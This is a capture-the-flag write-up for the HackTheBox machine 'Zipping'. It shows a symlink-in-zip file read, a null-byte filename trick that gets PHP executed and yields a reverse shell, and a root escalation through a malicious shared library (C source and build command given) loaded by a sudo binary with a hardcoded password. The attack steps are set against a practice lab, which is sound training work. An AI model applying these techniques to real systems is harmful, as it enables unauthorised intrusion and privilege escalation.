Tags:
ctf
HackTheBox - Zipping
User.txt
A quick nmap scan of the target shows 2 ports open.
Nmap scan report for 10.10.11.229
Host is up (0.87s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
I did start with checking the http server.
The website shows the following line as a clue for what the server is expecting as upload "The application will only accept zip files, inside them there must be a pdf file containing your curriculum."
. That might be hint or a trap right there. I started to prepare a zip containing a PDF and uploaded it. Now the server respondes with "Please include a single PDF file in the archive."
. After preparing a zip containing a single PDF file the server accepts the upload and prints the link to the upload section.
Following the link shows that the server automatically unpacks the contents of the zip file provided. I searched around possible attack vectors with uploaded zips and found two common vulnerabilities.
- Zip slip
- Symlink exploit
The idea of the zip slip attack is to archive a file with a relative filename containing a path traversal payload. Trying to craft a malicious zip showed that the server does not resolve the path traversal payload.
The idea of the second attack is that you archive a symlink to a arbitrary file e.g /etc/passwd
. An when the server automatically extracts the file from the archive the symbol resolves and points to the intended file leading to a LFI. To try out for this attack we need to do following:
-
Create a symlink pointing to the
upload.php
. So that we can take a deeper look into the upload restrictions in place.ln -s ../../upload.php symlink.pdf
- The symlink needs a PDF extension to bypass the upload restrictions.
-
Pack the symlink in a zip.
zip --symlinks test.zip symlink.pdf
- Upload the zip and follow the provided link.
Your browser might now render the result, cause it expects an PDF but gets the file contents of upload.php back. So watching the result in burp or in the dev tools of you browser might be helpful.
So cool that works and we get the code for the upload.php
file. So we can now actually read the user flag by crafting a symlink to /etc/passwd
to get the user name and then to /home/<user>/user.txt
. But I wanted to try to go for code execution before I read the user flag.
Observing the results we can spot the lines in the code that are handling the actual upload mechanism.
<?php
if(isset($_POST['submit'])) {
// Get the uploaded zip file
$zipFile = $_FILES['zipFile']['tmp_name'];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo '<p>Please include a single PDF file in the archive.<p>';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
Following line is what we are mostly interested in. The pathinfo function operates on the path itself and does not verify magic numbers. So just appending pdf to any file would bypass this check. And indeed uploading an archive containing test.php.pdf
was successful.
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf")
Unfortunately the server does not execute the php. Sometimes an apache misconfiguration could lead to a different file handling. While the PHP script checks the suffix, the server might interpret a file based on the first extension after .
This was not the case here. So we need to find a way to create a file that somehow break when the archive is extracted.
Checking some online ressources a found a list of special characters and bytes such as the null terminator (\x00). Creating a file in linux containing this null terminator was challenging. So I decided to just create a filename that contains a placeholder and change the filename after creating the zip archive.
This could be done by using an hex editor like hexedit. Heres an dump of an archive containing the file upload.pdf_.php
. The _
is a filler we want to replace with the null terminator \xx
.
50 4B 03 04 0A 00 00 00 00 00 EA 60 21 57 B9 31 E2 D4 10 00 00 00 10 00 PK.........`!W.1........
00 00 0A 00 1C 00 75 70 6C 6F 61 64 2E 70 64 66 55 54 09 00 03 38 0C F2 ......upload.pdf_.phpUT...8..
64 3E 0C F2 64 75 78 0B 00 01 04 E8 03 00 00 04 E8 03 00 00 2E 2E 2F 2E d>..dux.............../.
2E 2F 75 70 6C 6F 61 64 2E 70 68 70 50 4B 01 02 1E 03 0A 00 00 00 00 00 ./upload.phpPK..........
EA 60 21 57 B9 31 E2 D4 10 00 00 00 10 00 00 00 0A 00 18 00 00 00 00 00 .`!W.1..................
00 00 00 00 FF A1 00 00 00 00 75 70 6C 6F 61 64 2E 70 64 66 55 54 05 00 ..........upload.pdf_.phpUT..
03 38 0C F2 64 75 78 0B 00 01 04 E8 03 00 00 04 E8 03 00 00 50 4B 05 06 .8..dux.............PK..
00 00 00 00 01 00 01 00 50 00 00 00 54 00 00 00 00 00 ........P...T.....
The zip defines the names of the containing files at the file content location as well as in the so called central directory towards the end of the file.
Uploading that zip file and pray…
It was successfully uploaded! Following the link we get an 404 and if we remove the lonely extension we can see that the file indeed exists.
By placing a simple reverse shell php payload in the archive we got a shell on the server!
listening on [any] 5555 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.229] 44816
Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
21:35:44 up 1:38, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
rektsu pts/0 10.10.16.3 20:01 1:32m 0.01s 0.01s -bash
rektsu pts/1 10.10.16.3 20:11 59:52 0.12s 0.02s sshd: rektsu [priv]
rektsu pts/3 10.10.14.5 20:16 6:00 0.23s 0.02s sshd: rektsu [priv]
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/bin/sh: 0: can't access tty; job control turned off
$
Root.txt
To upgrade the shell I generated an ssh key pair and placed it in the users .ssh
directory. Now we can access the server in a much more stable ssh connection.
The first thing I usually check are the user privileges on the system with sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
We see we can access the /usr/bin/stock binary as an arbitrary user, e.g root. I quickly ran the binary to check if I can interact with it.
Enter the password:
Checking strings containing in the binary with strings /usr/bin/stock
revealed potential interesting findings.
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password:
Invalid password, please try again.
St0ckM4nager
does look like a password. Trying it out was successful and I could proceed further.
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
Playing around with the application for quite some time did not bring me anything further. I thought it might be possible to include some local file in the root directory. So I copied the binary to my local system and fed it to ghidra.
local_18 = "/root/.stock.csv";
printf("Enter the password: ");
fgets(local_b8,0x1e,stdin);
local_20 = strchr(local_b8,10);
if (local_20 != (char *)0x0) {
*local_20 = '\0';
}
iVar1 = checkAuth(local_b8);
if (iVar1 == 0) {
puts("Invalid password, please try again.");
uVar2 = 1;
}
else {
local_e8 = 0x2d17550c0c040967;
local_e0 = 0xe2b4b551c121f0a;
local_d8 = 0x908244a1d000705;
local_d0 = 0x4f19043c0b0f0602;
local_c8 = 0x151a;
local_f0 = 0x657a69616b6148;
XOR(&local_e8,0x22,&local_f0,8);
local_28 = dlopen(&local_e8,1);
local_2c = 0;
local_30 = 0;
local_34 = 0;
local_38 = 0;
local_3c = 0;
local_40 = 0;
local_44 = 0;
local_48 = 0;
local_4c = 0;
local_50 = 0;
while (local_8c != 3) {
puts("\n================== Menu ==================\n");
puts("1) See the stock");
puts("2) Edit the stock");
puts("3) Exit the program\n");
printf("Select an option: ");
Analyzing the main function the dlopen
function could my attention. It can be used to load a library during runtime.
Using ltrace
we can observe system and library calls.
ltrace -S ./stock
SYS_brk(0) = 0x55db8fe95000
SYS_mmap(0, 8192, 3, 34) = 0x7f95f5596000
SYS_access("/etc/ld.so.preload", 04) = -2
SYS_openat(0xffffff9c, 0x7f95f55c00b1, 0x80000, 0) = 3
SYS_newfstatat(3, 0x7f95f55c0c99, 0x7ffdd0b3dc10, 4096) = 0
SYS_mmap(0, 0x1a3ae, 1, 2) = 0x7f95f557b000
SYS_close(3) = 0
SYS_openat(0xffffff9c, 0x7f95f5596140, 0x80000, 0) = 3
SYS_read(3, "\177ELF\002\001\001\003", 83
We can see the dlopen
yet cause it gets executed after providing the correct password.
strcmp("St0ckM4nager", "St0ckM4nager") = 0
dlopen("/home/rektsu/.config/libcounter."..., 1 <unfinished ...>
We can see that the binary tries to load an library called libcounter
in the users home directory where we have write permissions. So we can try to create an malicious library that opens a shell session.
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/bash -i");
}
Build an shared object with.
gcc -shared -fPIC -nostartfiles -o /home/rektsu/.config/libcounter.so libcounter.c
Now we have to execute the binary with root privileges and provide the password to trigger the dlopen function.
rektsu@zipping:~$ ls -la /home/rektsu/.config/libcounter.c
-rw-rw-r-- 1 rektsu rektsu 116 Sep 1 22:02 /home/rektsu/.config/libcounter.c
rektsu@zipping:~$ gcc -shared -fPIC -nostartfiles -o /home/rektsu/.config/libcounter.so /home/rektsu/.config/libcounter.c
rektsu@zipping:~$ sudo /usr/bin/stockEnter the password: St0ckM4nager
root@zipping:/home/rektsu# id
uid=0(root) gid=0(root) groups=0(root)
Done!